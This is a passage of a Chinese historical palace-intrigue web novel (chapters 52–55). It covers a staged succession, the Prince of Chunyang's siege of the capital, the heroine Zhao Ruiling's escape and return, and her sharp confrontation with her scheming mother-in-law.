但面上,他只带着淡淡的忧伤道:“只要你帮朕做一件事,朕就将苑娘的棺椁送到你虞氏族地去。” 虞栋收拾好表情,抬起头看圣人:“您说!” “朕会让渭王登基。”圣人轻描淡写扔下一个炸弹,“在继位诏书传下后,你替朕保护好皇后和小皇子,她们活你 活,她们死你死!” 虞栋沉默片刻,艰难起身跪地,利落应诺。 “臣以性命发誓,绝不会让张皇后和小皇子有丝毫差池!” 毕竟张皇后无能,只需要幽禁就好,而小皇子,以太后的性子也不会杀了落下话柄,虞栋也没有要两人性命的意思。 至于会不会圣人一脉对渭王一脉的仇恨会不会春风吹又生,那不是虞栋担心的事,有新君呢。 圣人却不信他,盯着虞栋的眼睛道:“用灵娘的性命起誓!” 虞栋:“……臣以灵娘的性命起誓,定会护张皇后和小皇子周全!” 他最讨厌人用自己在乎的人威胁自己,本来他还想放张皇后母子一马,可现在,虞栋心里却升起了杀意。 让人生不如死,再也没有起复机会的法子多得是! 圣人像是没看出虞栋黑沉的脸色和淡淡杀意,他真正的目的也从来都不是真的让虞栋保护张皇后母子,而是为了麻痹太后。 在跟虞栋聊过后,只过了月余,圣人就让内侍在朝堂上宣布了立渭王琰为新储君的诏书。 圣人甚至将几个在朝中手握重权的王公大臣并太后请到了病床边上,一脸病色,托孤。 “朕一直都知道太子并不合适做储君,只是那到底是朕的孩子,所以朕才会一直犹豫,如今琰儿为储君,也算是天意。” “天意如此,众位爱卿往后只管好好辅佐琰儿,保我大昭繁荣昌盛。” 他眼含央求看着太后:“朕与母亲几十年的情分,自问一直对母亲还算孝顺,如今儿不孝要让您白发人送黑发人,朕只盼母亲长命百岁,待母亲百年之后再在地底下跟您赔罪。” “朕之放心不下皇后和小皇子,您最是心善,可否给皇儿一块小封地,就让皇后跟他一起去封地过活便是。” 太后想要收拢尚书省并一干权贵,本来就没打算赶尽杀绝,殷氏宗亲们都还看着呢,她不会在儿子刚登基的时候就做那种落人话柄的事儿。 所以她噙着泪应下了圣人所求,“你也别多忧心,太医说了,你的身子并无大碍,只要你好好养着,定能看到小皇子长大成人。” 母子二人都落了泪,一时间母慈子孝倒是看起来和谐得很。 众人都以为,太子死了,圣人也明显活不久了,小皇子还小,如今天命在渭王,圣人是无奈之下只能如此,也算是认命了。 连太后也如此想。 可实际上,圣人从来都没想过把皇位传给有谢氏血脉的渭王,这是他答应过自己阿耶的。 所以,在太后并满朝文武都被麻痹的时候,圣人给杨矛延传了信。 “可以动手了!” 八月十九,穆长舟日夜兼程,终于回到了圣都。 可是,迎接他的却不是圣都的乱象,也不是新君的登基,而是城门外乌泱乌泱的飞龙军。 就在他赶路的这十日内,淳阳王突然反了,圣都被层层包围,所有王公大臣还有他娘子,都被困在了城里。 穆长舟一时间心胆俱裂,差点直直冲过去。 飞龙军从来都是圣人掌兵权,若无圣人授意,淳阳王指挥不动十几万大军。 圣人是宁愿让叔父继位,也不愿让身上流着谢氏血的渭王继位。 如此一来,淳阳王得势,不管是因为他,还是因为渭王,赵瑞灵如今是最危险的! /:. 护卫们赶紧上前阻拦。 “郎君!您不能冲动,您要是冲动,主母她们就真没救了!” “是啊,我们现在应该尽快搞清楚圣都城内的情形,最好是现在就派人请虎头军和狼覃军前往圣都‘救驾’啊!” “顾忌您的存在,淳阳王即便是有什么想法,也绝不会要主母性命的,眼下可只能靠您了!” 他们说的这些道理,穆长舟都清楚,只是他实在没办法冷静等在外头筹谋。 他迅速下令:“你们兵分三路,一路去找甄顺,让他带着西戎王在京畿驻扎,等待圣都诏令再行入京,绝不能让西戎人知道如今大昭情形。” “另外一路带着我的印信回西北,调三万狼覃军北上!” “最后一路在这里等我!”说完他就要策马绕去护城河那边。 无论如何,他都得进城一趟,他一定要亲眼见到那小兔子安然无恙,还得跟虞栋联系上。 没有虞栋的印信,他调遣不动虎头军。 但他刚调转马头,就看到前方不远处,草丛里冒出两个中年妇人来……还贴着狗皮膏药,眼熟得叫人啼笑皆非。 第53章 第53章我们生个小鱼儿! 听到动静探出头来的赵瑞灵,看到穆长舟后,眼神瞬间亮了起来。 然后她瘪着嘴巴擦了擦自己脸上的狼狈,眼泪扑簌着往下掉。 这一切都在转瞬之间,穆长舟刚回过神,就见媒婆版本的娘子哭着往他这边跑。 穆长舟心窝子猛地酸了一下,立刻跳下马,疾步走过去,展开双手。 “灵娘……” 赵瑞灵也带着哭腔:“舟……” 时下妻子都称呼夫君为郎君,可穆长舟只是字,总觉得叫他舟郎怪怪的。 然后赵瑞灵就想起自己这些时日受过的苦,她嫁给穆长舟是想让他保护自己,却没想到嫁给他反倒更危险。 哪怕自己九死一生才逃出城来,想要投奔他,到如今她却连自己夫君的名字叫什么都还不知道。 她立马止住脚步,顶着腮上的狗皮膏药瞪他:“瞎叫什么,叫我赵媒婆!” 穆长舟:“……圣都情况如何?你为何会在这里?” 他看得出赵瑞灵和阿桥虽然乔装很熟练,但逃出来应该不容易。 两人腿脚都有些趔趄,他干脆将赵瑞灵打横抱起,让护卫先去挑个安全的地方扎营。 阿桥无奈,她是不指望姑爷记得还有个她了,但至少也别走那么快好吗? 一路几十里地跑过来,她腿都要折了。 好在赵瑞灵没忘,她让护卫用马将阿桥送到临时驻扎的地方。 穆长舟一将赵瑞灵放到地上,就听她痛呼出声,甚至顾不得多问,赶紧先脱她的鹿皮靴。 果不其然,她向来娇嫩白皙的脚底板上,满是血泡,有几个还破了,看起来格外触目惊心。 他自己受比这更重十倍百倍的伤都不以为然。 可见到她血呼啦的脚底,他眼底却满是心疼,立马叫人把金疮药拿过来,先替赵瑞灵上药。 赵瑞灵一边难受地哼哼,一边不忘叮嘱:“你们给阿桥也送一瓶药过去啊,要是没有她,说不准我就死在城门口了。” 穆长舟点头:“你放心,我会让人照顾好她。” 等上完了药,赵瑞灵勉强就着穆长舟用水囊里的水打湿的帕子擦洗过,这才跟他说起淳阳王造反的事儿。 “其实圣都如今几乎所有的王公大臣们应该都知道,此事乃是圣人授意,只是被飞龙军围堵,谁也不敢轻易说什么。” 穆长舟仔细替赵瑞灵挑破手心的水泡,对淳阳王的造反并不意外。 赵瑞灵继续道:“其实一开始,应该是圣人吩咐杨矛延反水,咱们府里,还有安国公府里和袁翁那边的人,一直都紧盯着杨矛延呢。” “他先前派人夜探英国公府,动用了羽林卫的人,被袁翁发现了,我们就将证据摆到了太后面前。” 赵瑞灵没想到的是,太后早就知情。 太后冷静道:“韩延年虽不是虞栋,却也是因苑娘才留下了一条命,有了如今的家业,他知道自己的根基全在谢氏,不会自毁长城。” “如果不是他,就只有一个人能办到这件事。” 这人非杨矛延莫属。 赵瑞灵还在疑惑,太后既然知道杨矛延是圣人的钉子,为何还要让他替自己办事呢。 袁翁足智多谋,却立刻就想通了太后的意图。 “袁翁问姨母,是否想祸水东引,彻底断掉最后一个隐患,你猜是谁?”赵瑞灵挠了挠脑门儿,她是真的感觉听完这宫闱争斗的内情,脑子都快长出来了。 穆长舟了然,杨矛延想要动太后和渭王,直接动手是不行的。 太后这么多年在大昭的权势并不比圣人差多少,唯独只差在是个女人罢了。 杨矛延只能想办法将渭王钉在造反的耻辱柱上,如此圣人才能光明正大召集飞龙军和羽林卫护驾。 他轻轻替赵瑞灵涂着药,“杨矛延既然多年为太后办事,他对太后 了解颇深,太后对他手下能用的人手也知之不浅。” “太后应当会趁势而为,将造反的证据转移到淳阳王身上,灭掉圣人鱼死网破最有力的帮手。” “不愧是在宫里长大的孩子,你们这心眼子真是绝了!”赵瑞灵偷偷翻了个白眼,绝不承认自己当时听得一愣一愣的。 可就算太后和袁翁谋算再深又如何? “谁也没料想到,此举竟然还歪打正着了。”赵瑞灵至今还无法忘记她姨母在仪秋宫听到此事时愕然的神情。 “淳阳王其实私下里早有屯兵,对飞龙军的掌控也远超太后和圣人预料,证据一拿出来,真真假假不好分辨,他干脆就顺势反了!” 穆长舟冷笑,“这倒也符合他的性子。” 淳阳王殷炀素日看起来低调,可从他年轻的时候就没少干争权夺势的阴私勾当。 顾氏和穆氏甚至谢氏都吃过他的亏,不过是这老畜生表面上会伪装,总爱做一派出尘道人的洒脱而已。 他轻轻将赵瑞灵揽在怀里,小心避开她的伤处,亲了亲她眉心。 “那你又是怎么出来的?” 赵瑞灵噘嘴:“是安国公提前发现不对,趁着在甘露殿守卫小皇子的功夫,让人给仪秋宫传了信。” 淳阳王的造反,不出穆长舟所料,有圣人睁一只眼闭一只眼的暗中授意。 可以说淳阳王很会挑时候,他知道圣人现在没有太多选择,而他只要保证小皇子将来会继位,不管真假,圣人都不会在这种关头拒绝给他兵权。 因为就算小皇子无法继位,起码皇位也不会落在谢氏血脉手里。 “太后知道,一旦淳阳王起兵造反,一定会打着清君侧的幌子围困圣都,但私下里羽林卫已经分成了两派,秦进竟然站队淳阳王。” 羽林卫分左右两卫,左卫由谢闵统领,右卫十三营则是归属秦氏掌管。 “所以不管是为了掣肘于你,还是因为我和太后的关系,他们一定会想办法抓住我来威胁你。”赵瑞灵郁闷地抱住穆长舟的腰。 “是姨母和安国公趁着淳阳王还没反应过来,安排人护送我和阿桥跑出来给你送信。” 实际上,等她和阿桥到城门口的时候,城门已经让飞龙军堵住了,只许进不许出。 还是阿桥灵机一动,赶忙去药店吃了能让自己过敏的药,弄得自己一身的疹子。 她还咬牙给自己鼻下抹了点夹竹桃汁,在城门口装作传染病病发的模样,两人才得以被避之不及的飞龙军给撵了出来。 赵瑞灵想到阿桥路上还在咳血,就有些郁闷。 “其实我连你叫什么名字都还不知道呢,也就只有他们才会觉得我对你真有那么重要。” 穆长舟顿了下,轻轻捧起赵瑞灵的脸,认真看着她。 “灵娘,我名字是我母亲取的,名为翼旸……实际上在她替自己的表兄,也就是淳阳王殷炀争抢军功一事暴露后,圣都几乎所有人都知道这个名字是什么意思了。” “名字于我而言,是耻辱。”他低下头,轻轻吻住赵瑞灵的小嘴儿。 “可你对我而言确实很重要,这世上,不算我母亲,你就是我最亲近的人了。” 赵瑞灵被亲得脸色微微泛红,她突然觉得,不知道夫君的名字好像也没什么。 她揪着穆长舟的衣襟,期期艾艾地安慰他:“那什么,还有大郎和二郎呢,虽然我很高兴,但你也不能太厚此薄彼了,不然我这个后娘和阿嫂不好做啊!” “哦对了,我还给认了个干岳丈,就是安国公……” 穆长舟:“……”他现在突然懂以前甄顺说他多余长了张嘴是什么意思了。 他失笑,用力抚着赵瑞灵的后脖颈儿,深深亲过去堵住了她的话。 直将人亲得喘不过气来,两人才又躺在铺好的草垫上,继续说话。 他捏捏赵瑞灵的鼻子:“幸好我回来得及时,否则过不了多久,你就要改姓虞了吧?” 赵瑞灵:“……那倒没有,但干耶给我起了字,叫小鱼。” 穆长舟深吸口气,他就知道,虞栋简直不像是狼群里长大的,更像是狼狗,碰到自己在意的就想打记号。 他不动声色转移话题:“那他们出来叫你给我报信,可有说过接下来的打算?” 太后和安国公都不是坐以待毙的性子。 即便淳阳王再来势汹汹,只要他不能放弃正义之师的名声,就不敢在圣人还活着的时候攻破圣都逼宫。 而谢氏、虞氏和穆氏都有府卫,再加上谢闵带领的羽林卫,这些人打仗可能抵不过几万大军,只守护宫城是绰绰有余的。 更重要的是,张皇后和小皇子都还在宫里,圣人就是再想让淳阳王继位,也不会任由自己血脉断绝,也一定会留下限制手段。 这就是太后和安国公的机会。 赵瑞灵赶紧掏出自己的长命锁:“姨母说,淳阳王能反,你也能,而且你比他更占正义之名,这金玉符节给你最合适。” 穆长舟蹙眉:“太后想让我以金玉符节策反飞龙军?” “淳阳王是个心狠手辣的,飞龙军那些人也不是傻子,不会在这关口反水,否则等待他们的只有死。” “不,姨母要你派人去西南,有干耶的印信,还有阿娘的金玉符节,虎头军可为你所用。”赵瑞灵又从腰侧拽下一个荷包,从里面取出虞栋的印信。 “你统帅两军跟飞龙军对峙,再将杨矛延弄的那些造反证据宣布于阵前,飞龙军自己就会做选择。” 穆长舟脑海中紧着谋算,他本身就有狼覃军印信,在掌了虎头军印信和金玉符节,只要虎头军的将士们不傻,就知道该怎么选择。 只是此事不能由护卫来办,毕竟是等同于起兵造反的大事,他的护卫无法说服虎头军那边的将领,必须得他亲自去才行。 他立刻道:“那你先休息一下,过会儿我送你到安全的地方先安置下来,我亲自去一趟西南都护府。” 赵瑞灵迟疑了下,摇摇头:“不必了,我得回去。” 穆长舟皱眉,捏捏她的脸,“你又急着要投胎去?” 上次在翟山驿,因为袁翁,这小兔子就往危险的地方钻。 如今不会又要为了太后和安国公,还要继续往危险的地方去吧? “娘子,你也不是每回都能那么命大,我不敢赌。”穆长舟用力拥赵瑞灵在怀里。 “若是你出了任何差池,我这辈子都无法原谅自己。” 赵瑞灵咬咬牙,努力从他怀里仰起头来。 “我不能总是躲在你背后,如果我不回去,淳阳王得知消息泄露,说不定就会大开杀戒的。” 她虽然被送出来了,可实际上她‘本人’还以养病为由卧床不起呢。 一旦被人发现她不在圣都,穆长舟有可能得知内情,圣都转瞬就会乱起来。 “更重要的是,圣人如今卧病在床,不能露面,很多人都支持淳阳王,即便你能压制他,到时候一旦打起来,我们所在意的那些人,很多人都会死。” “万一……万一太后或者渭王有个不测,只有才绝娘子之后才能站在大义上,护住谢氏。” 这大概也是阿娘不愿意让她归京的缘由吧,即便袁翁和太后没说,她也知道自己背负了很重的责任。 但她胆儿特别小,心里怕得要命,可她是阿娘的女儿,是灵童转世的延续,也是能在将来为穆长舟率两军入京唯一的背书。 见穆长舟还想说什么,赵瑞灵学着他的样子,捧着他的脸用力亲了下去,亲得眼泪都下来了。 咦呜呜碰到牙齿了~ 她哽咽着道:“只要你快些回来,只要你能赢,我们都会安然无恙。” “你想保护我,我也想保护你……和你在意的人,你相信我能做到的,对不对?” 穆长舟深深看她一眼,蓦地抹了把脸,倏然起身出去了。 赵瑞灵愣了下,才想起要追,可脚一落地,就疼得倒抽口凉气,趔趄着要倒。 穆长舟很快就进来了,惊险地扶住她,直接将她打横抱起,抱出了帐篷。 原本的几个护卫和阿桥都已经在马上了。 穆长舟将赵瑞灵也送上马,自己坐在她背后,迅速驾马前行。 赵瑞灵惊呼出声:“夫君……” 穆长舟一言不发,直到冒险将她们顺着来路送到离城门最近的地方,才将赵瑞灵抱到了护卫的背上。 穆长舟这次的话,比上次送行时 少了许多。 他深深看着赵瑞灵,只说了四个字,就转身驾马飞快远去。 “等我回来,我们生个小鱼儿!” 他不会让赵瑞灵失望,如果有万一……他一定会死在这小兔子前面。 赵瑞灵:“……”不是,这人走就走吧,当着这么多人的面瞎说什么呢! 被护卫护送着进入暗道的瞬间,明暗转换遮住了赵瑞灵唇角怎么都止不住的清甜笑意。 第54章 第54章你婆母来了 八月底,淳阳王围困圣都已达半月,却始终不见圣都城内的动静。 虽然他人在京畿坐镇,可圣都城内也有他的内应,殷炀知道,太后母子已经搬到了内朝正殿紫宸殿,就在太极殿的右面。 谢闵受领太后懿旨,率羽林卫左卫日夜保护太极殿和紫宸殿,秦进的人也无法轻易见到圣人。 但殷炀清楚,太后这只是虚张声势罢了,圣人风烛残年,随时都有可能驾崩,太后如果逼得圣人鱼死网破,那坐享其成的只有他淳阳王一人。 所以太后也不敢将事情做得太过分,外朝仍然由秦进来把守。 秦进禀报来消息说,醇国公夫人赵瑞灵自打病了以后就一直在仪秋宫修养,而后随太后搬到了紫宸殿侧殿居住,并未有任何异动。 那仍在西北对抗西戎人的穆长舟就应该得不到圣都这边的消息,即便心下存疑,也不可能扔下侵扰大昭的西戎人举兵返回圣都。 所以,军师跟殷炀说了:“殿下什么杀孽都不必做,只需要等着圣人殡天,您就能兵不血刃地得到皇位,如此方能成为仁德之君,得到百姓的爱戴。” 殷炀也知道这个道理,但他怎么都没办法安心,眼皮子总莫名其妙地跳个不停。 又等了两日,他坐不住了。 他乔装打扮后,亲自去了一趟京郊的圣堂山,这也是权贵们建设家庙所在之地。 穆长舟的母亲顾二娘就在这里住着。 殷炀以顾二娘过去最喜欢的那种出尘模样,出现在被幽禁已久的顾二娘面前,又恰到好处表达了自己的难处。 “长舟与我之间误会太深,但他始终都是我的外甥,即便我成了新君,也不可能对他做什么,我也只是想保护好皇兄留下的基业而已。” 他握着顾二娘的手,一脸深情,让这些年始终都被困在这方寸之地的顾二娘心生动摇。 她问:“翼旸那孩子也不在圣都,我能帮表兄做什么?” 殷炀眼神闪了闪:“他虽不在,但醇国公夫人还在宫中,我并不欲为难皇嫂,但皇兄遗命我不敢违背,圣人的旨意我也不得解脱,我……” 他苦笑不止:“我不敢劳烦表妹做更多让长舟误会的事情,只希望表妹能说服她,让她好好跟太后说说,起码让我见见圣人,不然我实在不放心。” “若圣人亲自下旨让渭王登基,我绝不恋权,往后我携了表妹一起做方外之人又如何!” 顾二娘更心动了,但她也没傻到家,迟疑了下:“那你府里的妻妾和儿女……” 殷炀‘情不自禁’将顾二娘拥入怀中,动情道:“锦娘你明明知道的,从小到大,我心中只有你一人,其他人都只是将就。” “如果渭王登基,我定会安排好她们,我们二人一起走!”他认真看着顾二娘。 “若非怕风言风语会坏了你的名声,让你在穆氏的日子更不好过,我绝不会娶妻纳妾!” 他举起手“你若不信,我可以发——” 顾二娘赶紧拉住殷炀,满脸动容。 她又何尝不是从小就喜欢表兄。 要不是阿耶不肯与皇室联姻,非要让她嫁去穆氏,她早就与表兄成就一段佳话了。 她柔柔靠在殷炀怀里:“那我就跑一趟皇城,无论如何,我都是她的婆母,虽翼旸不待见我,可孝道大过天,她总得尊着我这个婆母。” 殷炀满脸欣慰,立刻又表露出些许担忧来。 “可我怕你入了宫以后,会有人挟持你来威胁我,那我就只能愧对殷氏列祖列宗了,我还是叫几个会武的婢子陪着你一起入宫,宫里也会有人护着你,也算是个照应。” 顾二娘闻言更加安心,在表兄心里她比大业和殷氏列祖列宗更重要这一点,让她实在欢喜。 她高高兴兴喊人立刻准备进城。 等她去收拾行囊了,殷炀才接过手下护卫递过来的帕子,用力擦了擦自己亲过顾二娘额头的嘴,皱着眉将帕子扔进了旁边的莲花池子里。 “让甲三和甲五跟着她,趁机将才绝娘子那个女儿给我带出圣都,要活的!” 无论如何,穆长舟都是个变数,狮子搏兔尚用全力,他不会放任任何危险在那里置之不理。 有了赵瑞灵在手,不管穆长舟是否真的爱妻如命,她的身份注定会让狼覃军那些曾为谢氏部曲的将士们有所迟疑。 在两军交战之时,这份迟疑可以让穆长舟一败涂地。 如果没有穆长舟在暗地里掺和,虎头军也不会落到虞栋手里,他早就想宰了那个兔崽子了。 另一边,紫宸殿的偏殿里,赵瑞灵正揪着菊花的花瓣发呆。 离她跟穆长舟分开已经八日了,干耶说了,算上往返的时间,从西南一来一回,至少要十日。 如果带着大军归来,还需要更长时间。 就算急行军也不可能日夜不休,怎么也得半个月到二十天,才能赶到圣都。 秦媪和乔媪这几日利用各处当值的仆从们打探到不少消息。 外朝的秦进他们动作越来越大,这代表淳阳王越来越不耐烦。 一旦他等不及,就很有可能打着圣人已死的旗号冲入皇城,到时候谢闵手里的三千羽林卫绝对抵挡不住数万大军。 袁翁说,最好的情况就是淳阳王仍然顾及自己在宗亲那里的名声和史书记载,但他私下里一定会有所动作。 只是不知道他到底要做什…… “娘子!娘子!”阿桥突然急匆匆从外头冲进来。 “叫魂儿呢?”赵瑞灵一抬头,就见阿桥脸上跟见了鬼一样。 “你这什么表情?” 阿桥唇角抽了抽,表情微妙道:“你婆母来了。” “谁?”赵瑞灵愣了下,她婆母不是已经…… 接着她才反应过来。 “你说穆长舟的母亲?她不是在家庙吗?” “家庙在城外,如今城外是淳阳王在掌控。”乔媪一脸无奈进门,轻声解释。 “灵娘觉得,穆氏的家庙还能关得住你这位婆母吗?” 赵瑞灵:“……”好问题,她不想回答。 就她这便宜婆母的性子,只恨不能掏心掏肺连夫家的命都掏给她表兄,如今是不是连自个儿的命都掏给淳阳王了,都还说不准呢。 她瞬间了然,淳阳王这是有动作了啊,也该来了。 “人在哪儿呢?”她问。 阿桥:“就在含元殿偏殿候着呢……”估计是等他们家娘子去拜见。 这话不用阿桥说,赵瑞灵也听明白了。 她轻笑了声,站起身:“那走吧,去会会我这新婆母。” 赵瑞灵表情看起来特别放松,可实际上却一点都不敢放松警惕,开玩笑,稍有不慎就要命啊! 她让赵安素带着十数个功夫好的武婢跟随。 到了含元殿后,她直接带着赵安素等人一起进了大殿。 顾二娘一见这阵仗,就不由得皱起眉。 “你这新妇好生无礼,一点也比 /:. 不上翼旸的元配,哪儿有见婆母带着这么多人耀武扬威的道理?” 跟人对比的话赵瑞灵听得多了。 虽然顾二娘不客气,但她说话温温柔柔的,听着也不刺耳。 可赵瑞灵却不知道客气为何物,尤其是知道穆长舟不喜欢自己的名字,还一口一个翼旸的人,实在不配她客气。 “瞧您这话说得,您这婆母连我上一任婆母的头发丝儿都比不得,您看我说什么了吗?”赵瑞灵在赵安素等人的保护下,不客气地坐在上首。 “我就这性子,婆母若不喜欢,我走?” 顾二娘:“……”这叫没说什么?! 她气得浑身发抖,但犹豫再三,思及表兄的叮嘱,倒也没发作出来。 她只冷着脸道:“你让她们出去,我有话要单独跟你交代。” 赵瑞灵掂量了一下顾二娘那柔弱的小身板,自忖不管是跑起来,还是打起来,她这婆母都不是个儿。 至于毒药……她看了眼赵安素旁边的武婢,那精通药理的武婢冲她摇摇头。 赵瑞灵挑眉,干脆点头:“好啊,安素,你带着所有人都出去,我也想听听我这位婆母想交代什么。” 赵安素利落应是,却没往外走,而是面无表情站到了顾二娘身侧,冷冷盯着她身边那两个低眉顺眼的女婢。 虽然这俩女婢看起来很不起眼,可身为从小就被当狼一样训导的武婢,赵安素看得出两人的身形都是会武的,光凭直觉她就知道这两人不好对付。 顾二娘气得拍了桌子:“赵瑞灵!你这是要忤逆吗?” 赵瑞灵一脸无辜:“不是您让人都出去的吗?我让人客客气气伺候着婆母身边的人有何不对?” 要么都出去,要么就都留下,休想三打一! 顾二娘无奈,只能憋着气让两人跟着一起出去。 那俩女婢不动声色对视一眼,她们早用眼角余光看清楚了赵安素等人,这群武婢看似恭谨低调,实则都是站在能保护醇国公夫人全身而退的位置。 她们没有机会动手,也只能无奈在赵安素等人的紧盯下,跟着一起出去。 殿内一没了人,顾二娘立马就朝着赵瑞灵发难。 “你简直糊涂!身为穆氏妇却贸然掺和造反之事,你是要害死我儿吗?” “若你仍不知悔改,回头我就让翼旸休了你!” 赵瑞灵:“……”谁造反?谁造反啊! 她气笑了,趁着没人想暴露真面目的也不只是她婆母一人。 “这话我听不太懂,您能说句人话吗?”她慢条斯理掏了掏耳朵,似笑非笑看着顾二娘。 “说的跟您能做主似的,您还知道身为穆氏妇该做什么呢?” “按您的说法,那穆氏最该休的是您吧?” 顾二娘大怒,温柔的嗓音都尖锐起来。 “你放肆!” 赵瑞灵不紧不慢道:“我姨母是太后,我干耶是安国公,我就放肆了,您能拿我怎么样呢?” “婆母住过的家庙,怕是已脏了地儿,我也住不进去。” 顾二娘快要被气晕了。 “你个贱蹄子胡说八道什么!” “我说你跟你表兄狼狈为奸,私相授受,都不是什么好东西!”赵瑞灵冷笑,抱着胳膊冷冷看着顾二娘。 “您倒说说看,我哪个字是冤枉了你?” “若非私相授受,你这会儿还该在家庙思过,怎么会跑到宫里来恶心人!” “你一口一个翼旸的时候,不知道满圣都的人都在笑话穆氏绿云罩顶?” “你明知穆长舟以名字为耻,却反以为荣,还不够恶心?” 她在市井长大,虽然她发挥的时候少,但听得可不少,顾二娘完全不是对手。 眼见顾二娘气得脸色发白,摇摇欲坠,赵瑞灵在心里轻嗤了声。 就这战斗力,这便宜婆母是怎么害死老醇国公的? 穆家人……除了穆长舟是不是都有点蠢? 但顾二娘从小身为贵女,虽然战斗力不行,但气质和心理承受能力却拿捏得死死的。 她摇啊摇,就是没倒下,只一脸不可置信地捂着胸口,眼眶通红坐了回去。 “我不知道翼旸……长舟是怎么跟你说的,但他一直都对我多有误会。”她苦口婆心地劝。 “无论如何,他都是我十月怀胎生下来的,我不会害他!” 赵瑞灵哂笑,不会害他? 就只要自己的儿子成为淳阳王的狗,成为满大昭的笑柄,成为穆氏的罪人呗。 她不耐烦地掏了掏耳朵:“您来这一趟,到底想做什么,只管说便是,别绕圈子了,听您再多说几句,晚膳我都要省了。” 顾二娘银牙都快咬碎,才忍住了怒火。 她始终记得自己的来意,面色僵硬道:“你跟太后好好说说,无论如何殷氏才是天下之主,她囚禁圣人,将来一定会遗臭万年,连累谢氏和穆氏都跟着成为罪人。” “只要她让表兄见见圣人,听听圣人的旨意,哪怕是让渭王登基,好歹也名正言顺不是?” 赵瑞灵彻底无语了,她不太明白,她婆母到底有没有脑子。 说没有,她还知道要从自己这里下手来说服太后,说有吧……又看不太出来。 “您怕是忘了,圣人早就当着王公大臣和宗亲的面宣了诏书,立渭王为储君,待得圣人百年之后,渭王当然能名正言顺继位。”她面无表情站起身。 “淳阳王想要借机逼宫,甚至刺杀圣人,嫁祸太后和储君以某朝篡位,我看他是打错了算盘!” 顾二娘紧蹙着眉:“你怎么能这样想淳……” “得了吧!”赵瑞灵来见这便宜婆母,本来也不是为了听她废话,不过是为了能有个传声筒而已。 她把袁翁和太后商议好的话,一字不落地告诉顾二娘—— “您只管把话告诉您那位心上人,就算他掌着数万大军,妄图假借清君侧的名义行造反之事,也别以为天下就尽在他手了。” “逼急了眼,太后和圣人自会出面,到时候所有殷氏宗亲都会捧着殷氏列祖列宗的牌位站在城门口,我倒是要看看,谁敢往里冲!” “就算淳阳王敢屠戮殷氏血脉,碾碎祖宗牌位,天下能清君侧的正义之师多得是,你就让他试试那把龙椅他到底能不能坐稳!” 说完,她也不管顾二娘煞白的脸色,也不想再听这只长年纪不长脑子的女人说话。 她扬声冲外头喊:“安素!送老夫人出城!” 顾二娘猛地站起身来:“你敢!” 赵安素等人迅速进门,连同那两个女婢,都听到了赵瑞灵冷笑的声音。 她也站起身,哪怕没有顾二娘高,望过去也做足了居高临下的姿态。 “我身为穆氏妇,谨遵穆氏家训,圣都城里,没有老夫人的立足之地!” “还是说老夫人想进穆氏的地牢?我作为穆氏主母,倒也不是不能满足你!” 第55章 第55章危急关头 回到家庙,见到淳阳王殷炀,顾二娘眼泪立马就落下来了,哭得梨花带雨,连话都说不清楚。 殷炀心知这应该是没谈拢。 不过他叫顾二娘进宫,也不是以为太后会愚蠢到真能让他见到圣人,而是为了试探。 他实在是没耐心哄这个半老徐娘,敷衍几句让顾二娘的婢子伺候着,出来问那两个武婢。 赵瑞灵先前说话声音并没有压低,两个武婢耳力不俗,将里面的话听了个七七八八。 尤其是后头赵瑞灵让带的那几句话,分毫不差禀报了。 殷炀听得脸色发黑,他最怕的就是那些宗亲不识好歹。 虽然他占尽了上风,想要坐上那把龙椅容易得很,可做一个仁德之君还是留下骂名的暴君完全是两码事。 就如赵瑞灵所说,如果他真敢屠戮殷氏宗室继位,都不用等到他继位元年,大昭各地就能冒出清君侧的反军来。 其中尤以穆长舟最让他如鲠在喉。 这下子他 丝毫没了哄顾二娘的心思,直接策马回到军营里,找军师商议。 “我们不能坐以待毙,军师你想个法子,我们要尽快进城。”殷炀脸色阴沉。 “若圣人龙体并没有太医署说的那么虚弱,或太后让人用珍奇药材吊着圣人的命,等穆长舟在西北得到消息,一旦他联合虎头军,我们就功亏一篑了!” 军师也有些无计可施,杀人于他们而言实非难事,难就难在要攻心…… 思及此处,军师突然眼神一亮:“王爷,您最清楚勋贵和宗亲们的性子,他们就真的全都心甘情愿陪着谢氏女和渭王同生共死吗?” 殷炀若有所思,“你是说,让本王暗中拉拢他们?” “这是我们如今最好的法子了。”军师信誓旦旦。 “只要王爷舍得下重本,大不了等您登基后再慢慢收拾也来得及。” “策反了他们,咱们依然可不费一兵一卒就能拿下皇城!” 殷炀觉得军师所言有理,他确实了解那些宗亲。 殷氏得天下才第二代,那些老不死的过去不过只是地方乡绅和望族而已,根本没什么大格局,心心念念都是从圣人手中争权夺利。 他们要的荣华权势他都能给,甚至还能比太后给的更多,他就不信这些眼界短浅的宗亲们不为所动! 赵瑞灵让人送走顾二娘后,也跟太后和袁翁说了此事。 “袁翁先前说过,淳阳王最善耍阴招,把话说得这么不留情面,若逼急了眼,他会不会直接攻入皇城啊?” 太后笑而不语,只留渭王一本正经看向袁修永。 “袁翁怎么想?” 袁修永翻了个白眼,他怎么想? 他坐着想! 这娘俩都不要脸是真的。 他身为太子师,为了谢如霜和赵瑞灵不得不背主已经有违袁氏祖训,将来都不敢进袁氏祖坟了。 偏太后还不知足,非得说他既是太子师,如今渭王是太子,他就该继续教导,直接把他接到了紫宸殿旁边的宣政殿,让他跟渭王一同起居。 当然,此举是为保他性命,如今朝中私下里骂他背信弃义,狼心狗肺的王公大臣也不少。 先前袁家动用了底蕴,让杨矛延对渭王的算计落了空,杨氏一脉的官员现在恨不能直接吃他的肉喝他的血呢。 左右已经没有退路,袁修永心里腹诽几句,面上却丁点矫情也无。 “不怕他硬攻,如若他真因为今日的消息下令攻城,那些宗亲们知道殷炀是个心狠手辣的性子,反倒不敢信他,也只能跟随渭王一起孤注一掷了。” 他看向太后:“怕只怕淳阳王擅长隐忍,又最会做戏,城中可不乏他借着圣人的势留下的人手。” “一旦他拉拢了那些宗亲,不等飞龙军攻城,我等就要面对满朝文武逼宫了。” 太后对宗亲们的了解丝毫不比淳阳王差,所以这些年来她才格外不喜殷氏那些爱吸人血的勋贵。 她思忖道:“长舟大概还有多久能回来?” 赵瑞灵也紧张地看向袁修永。 袁修永算了算,“从西南到圣都,若不走水路,只走陆路,中途不驻扎太久,怎么也得有八日,若是走水路……能快三日,但战力不好说。” 他轻轻叹了口气,西南地处内陆,又多山林,虎头军未必能适应,就算是快些到来,状态怕是也不适合打仗。 太后点点头:“好,那就先做好背水一战的准备,哀家会跟圣人一起死战不退,他就算能得到这天下,哀家也要让他遗臭万年!” 她没把话说得太明白,只跟袁修永无声对视了一眼。 